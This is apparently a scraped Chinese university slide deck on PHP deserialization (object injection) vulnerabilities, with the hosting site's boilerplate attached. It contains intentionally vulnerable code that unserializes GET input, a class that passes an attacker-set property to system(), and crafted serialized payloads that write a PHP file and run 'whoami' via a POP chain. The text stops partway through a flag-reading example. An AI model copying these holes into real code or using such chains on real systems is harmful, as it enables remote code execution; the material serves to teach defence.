版權說明:本文檔由用戶提供并上傳,收益歸屬內容提供方,若內容存在侵權,請進行舉報或認領
文檔簡介
Web應用安全第八章Web服務器端安全--8.6反序列化漏洞原理與防御2反序列化漏洞原理序列化和反序列化在傳遞或保存數(shù)據時,為了不丟失數(shù)據類型信息,需要將原始數(shù)據信息(數(shù)據類型和數(shù)據值)轉換為字符串形式(序列化),然后在適當?shù)臅r候根據數(shù)據的字符串形式恢復原始數(shù)據信息(反序列化)PHP語言相關函數(shù)序列化:serialize;反序列化:unserializePHP語言標量序列化和反序列化NULL類型數(shù)據序列化為“N;”。boolean類型數(shù)據序列化成(true)“b:1;”或(false)“b:0;”。integer類型數(shù)據序列化為“i:<number>;”,其中<number>為一個整型數(shù)。double型數(shù)據序列化為“d:<number>;”,其中<number>為浮點型數(shù)。string型數(shù)據序列化為“s:<length>:<value>;”,其中<lenth>表示字符串的長度,<value>表示字符串的值。3反序列化漏洞原理PHP語言標量序列化和反序列化示例<?php$ob1=NULL;$ob2=true;$ob3=123456;$ob4=3.1415926;$ob5="Teststring";$str1=serialize($ob1);print("NULL類型數(shù)據序列化:{$str1}<br>");$str2=serialize($ob2);print("boolean類型數(shù)據序列化:{$str2}<br>");$str3=serialize($ob3);print("integer類型數(shù)據序列化:{$str3}<br>");$str4=serialize($ob4);print("double類型數(shù)據序列化:{$str4}<br>");$str5=serialize($ob5);print("string類型數(shù)據序列化:{$str5}<br>");$u5=unserialize($str5);print("反序列化string類型數(shù)據:{$u5}<br>");$u4=unserialize($str4);print("反序列化double類型數(shù)據:{$u4}<br>");$u3=unserialize($str3);print("反序列化integer類型數(shù)據:{$u3}<br>");$u2=unserialize($str2);if($u2==true){print("反序列化boolean類型數(shù)據:true<br>");}else{print("反序列化boolean類型數(shù)據:false<br>");}$u1=unserialize($str1);if($u1==NULL){print("反序列化NULL類型數(shù)據:NULL<br>");}?>4反序列化漏洞原理PHP語言數(shù)組數(shù)據的序列化和反序列化a:n:{<key1>;<value1>;<key2>;<value2>;……;<keyn>;<valuen>;}<?php$ob=array(2,"haha2008","carl"=>"1003","3"=>"bob");$str=serialize($ob);print("數(shù)組類型序列化:{$str}<br>");$uob=unserialize($str);print("反序列化后的數(shù)組為:");print_r($uob);?>5反序列化漏洞原理PHP語言對象數(shù)據的序列化和反序列化O:<length>:"<classname>":<n>:{<f1>;<v1>;<f2>;<v2>;……;<fn>;<vn>}<?phpclassTestA{
private$id;//工位編號
public$name;//姓名
protected$salary;//報酬
publicfunction__construct($id,$name="Zhangsan",$salary="8800"){
$this->id=$id;$this->name=$name;$this->salary=$salary;}}$ob=newTestA(1001);$str=serialize($ob);print("對象數(shù)據序列化:{$str}<br>");$uob=unserialize($str);print("對數(shù)數(shù)據反序列化:");print_r($uob);?>私有屬性:\00類名\00保護屬性:\00*\006反序列化漏洞原理PHP語言中序列化和反序列化的魔術方法方法__sleep方法__wakeupclassTestA{
private$id;//工位編號
public$name;//姓名
protected$salary;//報酬
publicfunction__construct($id,$name="Zhangsan",$salary=“6600"){
$this->id=$id;$this->name=$name;$this->salary=$salary;}
publicfunction__sleep(){
returnarray("id","name");}//將id和name序列化
publicfunction__wakeup(){
$this->salary="8800";}//將沒有序列化的對象屬性補充完整
}$ob=newTestA(1001);$str=serialize($ob);print("對象數(shù)據序列化:{$str}<br>");$uob=unserialize($str);print("對數(shù)數(shù)據反序列化:");print_r($uob);7反序列化漏洞原理漏洞原理示例反序列化所需要的數(shù)據能被攻擊者控制,而引發(fā)的攻擊行為,這樣就形成了反序列化漏洞。CWE-502、CWE-915。也稱為對象注入漏洞classStudent{//學生信息類public$id;public$name;public$grade;public$log;
publicfunction__construct($id,$name,$grade){
$this->id=$id;$this->name=$name;$this->grade=$grade;}
//反序列化時,在日志文件中記錄信息
publicfunction__wakeup(){
$str=$this->id."/".$this->name."/".$this->grade."\r\n";
$this->log=newLog($str);unset($this->log); }}classLog{//日志信息類
public$logfile;public$str;
publicfunction__construct($str){
$this->logfile="log/log.txt";$this->str=$str;}
publicfunction__destruct(){//記錄日志信息$fd=fopen($this->logfile,"a+");fwrite($fd,$this->str);fclose($fd);}}$data=$_GET['data'];$s=unserialize($data);print("其他業(yè)務邏輯,這里略過......<br>");8反序列化漏洞原理漏洞原理示例期望輸入的序列化數(shù)據—Student類的序列化數(shù)據<?phpclassStudent{public$id;public$name;public$grade;}//學生信息類$s=newStudent();$s->id=1001;$s->name="alice";$s->grade=98;$data=serialize($s);print($data);?>O:7:"Student":3:{s:2:"id";i:1001;s:4:"name";s:5:"alice";s:5:"grade";i:98;}http:///serial/t5.php?data=O:7:"Student":3:{s:2:"id";i:1001;s:4:"name";s:5:"alice";s:5:"grade";i:98;}9反序列化漏洞原理漏洞原理示例非期望輸入的序列化數(shù)據—Log類的序列化數(shù)據<?phpclassLog{//日志信息類public$logfile;public$str;}$s=newLog();$s->str="<?phpphpinfo();?>";$s->logfile="c:/websec2023/serial/log/aaa.php";$data=serialize($s);print(urlencode($data));?>O:3:"Log":2:{s:7:"logfile";s:32:"c:/websec2023/serial/log/aaa.php";s:3:"str";s:18:"";}URL編碼O%3A3%3A%22Log%22%3A2%3A%7Bs%3A7%3A%22logfile%22%3Bs%3A32%3A%22c%3A%2Fwebsec2023%2Fserial%2Flog%2Faaa.php%22%3Bs%3A3%3A%22str%22%3Bs%3A18%3A%22%3C%3Fphp+phpinfo%28%29%3B%3F%3E%22%3B%7D10反序列化漏洞原理反序列化漏洞原理總結當程序邏輯期望輸入對象A的序列化數(shù)據,但是輸入了對象B的序列化數(shù)據,從而引發(fā)對象B的反序列化的一些方法調用,在這些調用中存在危險操作,從而引發(fā)漏洞。用戶可以控制輸入的序列化數(shù)據反序列化漏洞的核心關鍵點輸入的序列化數(shù)據在反序列化過程中,會引發(fā)危險操作觸發(fā)漏洞簡單情況:反序列化過程中的危險操作只涉及單一對象復雜情況:反序列化過程中的危險操作涉及多個對象—POP鏈11反序列化漏洞原理POP鏈的構造PHP語言中的魔術方法—總共17個,這里介紹典型魔術方法__toString方法—當類的對象被當做字符串處理時調用classA{
public$des="這是一個測試類";
publicfunction__toString(){
return$this->des;
}}$a=newA;print($a);//這是一個測試類__construct方法—對象創(chuàng)建時調用__destruct方法—對象銷毀時調用當對對象執(zhí)行某些操作時會先自動調用的方法,稱呼為魔術方法12反序列化漏洞原理POP鏈的構造PHP語言中的魔術方法__invoke方法--當以調用函數(shù)的方式調用一個對象時<?phpclassA{
publicfunction__invoke($value){
print("對象被調用,輸入參數(shù)為{$value}");
}}$a=newA;$a("abc");//對象被調用,輸入參數(shù)為abc?>13反序列化漏洞原理POP鏈的構造—初級示例反序列化漏洞程序示例1<?phpclassA{public$target;function__construct(){$this->target=newB;}function__destruct(){$this->target->action();}}classB{functionaction(){echo"actionB<br>";}}classC{public$test;//關鍵屬性functionaction(){
echo"actionA<br>";system($this->test);}}if(empty($_GET['test'])){highlight_file(__FILE__);}else{unserialize($_GET['test']);}?>14property-orientedprogramming(面向屬性編程)反序列化漏洞利用過程分析用戶能力:控制了注入的反序列化數(shù)據,可以注入任意對象用戶目標:設置C類中$test屬性,執(zhí)行system函數(shù)如果注入B類或C類的對象,后續(xù)沒有任何操作被執(zhí)行;如果注入A類的對象,對象創(chuàng)建時和銷毀時,魔術方法被執(zhí)行反序列化漏洞原理POP鏈的構造—初級示例選擇A類對象為注入對象POP鏈條的起點:A類__destruct方法POP鏈條的終點:C類action方法完整的POP鏈條:A類__destruct
A類的target屬性設置為C類對象
C類的test屬性設置為執(zhí)行命令(如whoami)
C類的action方法
system方法執(zhí)行命令15反序列化漏洞原理POP鏈的構造—初級示例注入對象構造<?phpclassA{public$target;}classC{public$test="whoami";}$a=newA();$a->target=newC();$s=serialize($a);print($s);print("<br>");print(urlencode($s));?>O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:6:"whoami";}}O%3A1%3A%22A%22%3A1%3A%7Bs%3A6%3A%22target%22%3BO%3A1%3A%22C%22%3A1%3A%7Bs%3A4%3A%22test%22%3Bs%3A6%3A%22whoami%22%3B%7D%7D16反序列化漏洞原理POP鏈的構造反序列化漏洞程序示例2//flag在文件flag.php中classReadFile{public$filename;//保存要讀取的文件名
publicfunctionread_file(){//讀取文件
$text=base64_encode(file_get_contents($this->filename));return$text;}publicfunction__invoke(){$con=$this->read_file();print($con);return"ReadFile";}}classShowFile{public$source;public$namepublicfunction__construct(){$this->name="ShowFile"; }publicfunction__toString(){$name=$this->name;return$name();}publicfunction__wakeup(){
if($this->source=="flag.php"){exit("非法文件<br>");}}}if(isset($_GET['data'])){unserialize($_GET['data']);}else{highlight_file(__FILE__);}17反序列化漏洞原理POP鏈的構造反序列化漏洞利用過程分析用戶能力:控制了注入的反序列化數(shù)據,可以注入任意對象用戶目標:讀取flag.php文件中的內容(直接訪問被拒絕)如果注入ReadFile對象,后續(xù)沒有任何操作被執(zhí)行;如果注入ShowFi
溫馨提示
- 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
- 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權益歸上傳用戶所有。
- 3. 本站RAR壓縮包中若帶圖紙,網頁內容里面會有圖紙預覽,若沒有圖紙預覽就沒有圖紙。
- 4. 未經權益所有人同意不得將文件中的內容挪作商業(yè)或盈利用途。
- 5. 人人文庫網僅提供信息存儲空間,僅對用戶上傳內容的表現(xiàn)方式做保護處理,對用戶上傳分享的文檔內容本身不做任何修改或編輯,并不能對任何下載內容負責。
- 6. 下載文件中如有侵權或不適當內容,請與我們聯(lián)系,我們立即糾正。
- 7. 本站不保證下載資源的準確性、安全性和完整性, 同時也不承擔用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。
最新文檔
- 第一講《小企業(yè)會計制度》培訓
- 2024高中地理第四章工業(yè)地域的形成與發(fā)展第1節(jié)工業(yè)的區(qū)位選擇練習含解析新人教版必修2
- 2024高中語文第三課神奇的漢字第1節(jié)字之初本為畫-漢字的起源練習含解析新人教版選修語言文字應用
- 2024高考地理一輪復習第十八單元區(qū)際聯(lián)系與區(qū)域協(xié)調發(fā)展練習含解析
- 2024高考化學二輪復習選擇題專項練二含解析
- (4篇)2024大學社團活動工作總結
- 工程質量檢測試驗
- 保潔過程中的環(huán)境保護控制措施
- 海關報關實務4-第三章2知識課件
- 二零二五年度高端家庭養(yǎng)老護理員專業(yè)服務合同范本3篇
- 2024年美國X射線熒光光譜儀(XRF)市場現(xiàn)狀及上下游分析報告
- Other-the-other-others-another等習題辨析(附答案+解析)
- DZ∕T 0289-2015 區(qū)域生態(tài)地球化學評價規(guī)范(正式版)
- 2024年江蘇農牧科技職業(yè)學院單招職業(yè)適應性測試題庫必考題
- 食品機械與設備智慧樹知到期末考試答案章節(jié)答案2024年西北農林科技大學
- DB32T 4400-2022《飲用水次氯酸鈉消毒技術規(guī)程》
- PayPal企業(yè)賬戶注冊流程及申請所需資料
- 工程造價畢業(yè)設計總結報告
- 861個CCER備案項目清單
- 直腸脫垂的護理查房
- 結腸鏡檢查前腸道準備
評論
0/150
提交評論